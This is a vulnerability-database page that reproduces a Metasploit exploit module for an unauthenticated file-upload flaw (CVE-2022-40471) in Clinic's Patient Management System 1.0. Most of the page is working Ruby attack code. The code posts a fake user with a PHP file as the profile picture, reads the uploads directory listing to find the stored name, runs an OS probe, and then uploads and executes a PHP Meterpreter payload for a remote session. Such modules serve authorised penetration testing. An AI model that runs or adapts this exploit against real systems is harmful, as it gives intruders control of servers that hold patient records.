Lucene search
K

Clinic's Patient Management System 1.0 - Unauthenticated RCE

🗓️ 18 Dec 2024 18:57:07Reported by Aaryan Golatkar, Oğulcan Hami GülType 
metasploit
 metasploit
🔗 www.rapid7.com👁 462 Views

Exploiting unauthenticated file upload in Clinic's Patient Management System 1.0 for remote code execution.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated file upload vulnerability in Clinic's
          Patient Management System 1.0. An attacker can upload a PHP web shell and execute
          it by leveraging directory listing enabled on the `/pms/user_images` directory.
        },
        'Author' => [
          'Aaryan Golatkar', # Metasploit Module Developer
          'Oğulcan Hami Gül', # Vulnerability discovery
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Targets' => [
          ['Clinic Patient Management System 1.0', {}]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['EDB', '51779'],
          ['CVE', '2022-40471'],
          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
          ['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
        ],
        'DisclosureDate' => '2022-10-31',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
      OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
      OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
    ])
  end

  def check
    print_status('Checking if target is vulnerable...')

    # Step 1: Retrieve PHPSESSID
    vprint_status('Fetching PHPSESSID from the server...')
    res_session = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'GET'
    })

    unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
      print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
      return CheckCode::Unknown('Could not connect to the target')
    end

    phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
    if phpsessid.nil?
      print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
      return CheckCode::Unknown('Failed to retrieve PHPSESSID from the target response')
    else
      phpsessid = phpsessid[1]
      vprint_good("Obtained PHPSESSID: #{phpsessid}")
    end

    # Step 2: Attempt File Upload
    dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
    dummy_content = Rex::Text.rand_text_alphanumeric(20)
    dummy_name = Rex::Text.rand_text_alphanumeric(6)
    post_data = Rex::MIME::Message.new
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
    post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
    post_data.add_part('', nil, nil, 'form-data; name="save_user"')

    vprint_status("Uploading dummy file #{dummy_filename}...")
    res_upload = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'cookie' => "PHPSESSID=#{phpsessid}"
    })

    unless res_upload && res_upload.code == 302
      print_error('File upload attempt failed. Target may not be vulnerable.')
      return CheckCode::Safe('The target is not vulnerable')
    end
    vprint_good('Dummy file uploaded successfully.')

    # Step 3: Verify File in Directory Listing
    vprint_status('Verifying uploaded file in /pms/user_images...')
    res_listing = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'user_images/'),
      'method' => 'GET',
      'cookie' => "PHPSESSID=#{phpsessid}"
    })

    if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
      vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
      CheckCode::Vulnerable('Successfully verified the upload vulnerability')
    else
      vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
      CheckCode::Unknown('Uploaded file not found in directory listing')
    end
  end

  def upload_shell
    random_user = Rex::Text.rand_text_alphanumeric(8)
    random_password = Rex::Text.rand_text_alphanumeric(12)
    detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
    detection_filename = "#{detection_basename}.php"

    # Step 1: Detect the OS
    detection_script = <<~PHP
      <?php
      echo PHP_OS . "\\n";
      ?>
    PHP

    vprint_status("Uploading OS detection script as #{detection_filename}...")
    post_data = Rex::MIME::Message.new
    post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
    post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
    post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
    post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
    post_data.add_part('', nil, nil, 'form-data; name="save_user"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    })

    fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
    vprint_good('OS detection script uploaded successfully!')

    # Step 2: Retrieve the actual uploaded filename
    vprint_status('Retrieving directory listing to identify detection script...')
    sleep datastore['LISTING_DELAY']

    res_listing = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'user_images/'),
      'method' => 'GET'
    })

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

    match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
    fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?

    actual_detection_filename = match[1]
    vprint_status("Detected script filename: #{actual_detection_filename}")

    # Step 3: Execute the detection script
    detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
    vprint_status("Executing OS detection script at #{detection_url}...")
    res = send_request_cgi({
      'uri' => detection_url,
      'method' => 'GET'
    })

    fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
    detected_os = res.body.strip.downcase
    vprint_status("Detected OS: #{detected_os}")

    # Step 4: Choose payload based on OS
    if detected_os.include?('win')
      payload_content = get_write_exec_payload
      print_status('Target is Windows. Using standard PHP Meterpreter payload.')
    else
      payload_content = get_write_exec_payload(unlink_self: true)
      print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
    end

    # Step 5: Upload the payload
    random_user = Rex::Text.rand_text_alphanumeric(8)
    random_password = Rex::Text.rand_text_alphanumeric(12)
    payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"

    vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")

    post_data = Rex::MIME::Message.new
    post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
    post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
    post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
    post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
    post_data.add_part('', nil, nil, 'form-data; name="save_user"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    })

    fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
    print_good('Payload uploaded successfully!')

    # Verify the presence of the uploaded file in the directory listing
    vprint_status('Retrieving directory listing to confirm the uploaded payload...')
    sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server

    res_listing = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'user_images/'),
      'method' => 'GET'
    })

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

    # Search for the uploaded filename
    match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
    fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?

    actual_filename = match[1]
    vprint_good("Verified payload presence: #{actual_filename}")
    register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
    actual_filename
  end

  def exploit
    # Upload the shell and retrieve its filename
    uploaded_filename = upload_shell

    # Construct the URL for the uploaded shell
    shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
    print_status("Executing the uploaded shell at #{shell_url}...")

    # Execute the uploaded shell
    send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2026 19:02Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
EPSS0.90334
SSVC
462